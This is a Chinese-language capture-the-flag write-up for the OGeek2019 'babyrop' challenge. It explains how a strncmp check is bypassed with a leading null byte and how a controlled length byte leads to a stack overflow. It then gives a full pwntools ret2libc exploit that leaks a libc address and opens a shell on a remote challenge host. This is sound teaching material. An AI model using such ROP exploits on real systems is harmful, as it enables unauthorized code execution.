648 字
3 分钟
OGeek2019 | babyrop
  • IDA分析main函数: alt text sub_80486BB用于进行一些初始化操作,将一个随机数赋值给fd,并将fd中的随机数读取到buf中,然后buf所谓参数传入sub_804871F进行下一步分析

  • 跟进sub_804871F进行分析: alt text 初始化s和bufa,将buf中的随机数放到s中,通过read读取用户输入的0x20字节数据放到bufa中,然后将bufa和s中的数据进行对比,如果相同就Correct并将bufa数组的下标7位置的数据取出并作为返回值返回到main函数赋值给v2

  • 跟进sub_80487D0函数进行分析: alt text nbytes就是v2的值,也就是sub_804871F的返回值,如果返回值是127,那么可以读取buf的0xC8字节内容,反之就读取其他传入值大小的内容

  • 查看buf栈空间: alt text alt text 可以看到,溢出范围是0xEB,很明显nbytes的值是127的话无法成功进行溢出,所以要大于127,0xff是255,大于0xEB(235),浏览了整个程序之后没有发现类似system、sh等可拿shell的信息,所以大致思路就是控制nbytes的值是0xff,然后再构造ROP链获取shell即可,通过上述分析可以得知nbytes就是sub_804871F的返回值,而这个返回值是bufa的下标7位置的数据

  • 查看bufa的栈空间: alt text 可以看到var_25就是bufa[7]的值,并且通过v5 = read(0, bufa, 0x20u);读取了bufa中32字节的数据,也就是到var_C的位置,所以可以覆盖var_25的位置并对其进行修改,所以现在只需要绕过这个随机数的比较就可以指定v2的值并构造ROP链 alt text 这两句首先通过strlen获取后续strncmp要对比bufa和s的长度,但是如果将这里的n设置成0,那么strncmp就会比较0个字符,所以就一直相等,绕过判断

  • EXP脚本:

    from pwn import *
    from LibcSearcher import *
    p = remote("node5.buuoj.cn", 29690)
    elf = ELF("./ogeek_pwn")
    payload = b"\x00" + b"\xff" * 0x7 # \x00就是设定n是0,\xff就是设置v2是255
    p.sendline(payload)
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    payload2 = b"A" * (0xE7 + 0x4) + p32(write_plt) + p32(0x8048825) + p32(1) + p32(write_got) + p32(4)
    p.recvuntil(b"Correct\n")
    p.sendline(payload2)
    write_addr = u32(p.recv(4)) # 获取write函数在内存中的绝对地址
    print(hex(write_addr))
    libc = LibcSearcher('write', write_addr) # 通过write函数的绝对地址找到程序对应的libc版本
    libc_base = write_addr - libc.dump('write')
    system_addr = libc_base + libc.dump('system')
    bin_sh_addr = libc_base + libc.dump('str_bin_sh')
    payload3 = b"A" * (0xE7 + 0x4) + p32(system_addr) + p32(0x08048502) + p32(bin_sh_addr)
    p.sendline(payload)
    p.recvuntil(b"Correct\n")
    p.sendline(payload3)
    p.interactive()

    alt text

OGeek2019 | babyrop
https://lepustimus.github.io/posts/pwn/ogeek2019_babyrop/
作者
Lepustimidus
发布于
2026-03-25
许可协议
CC BY-NC-SA 4.0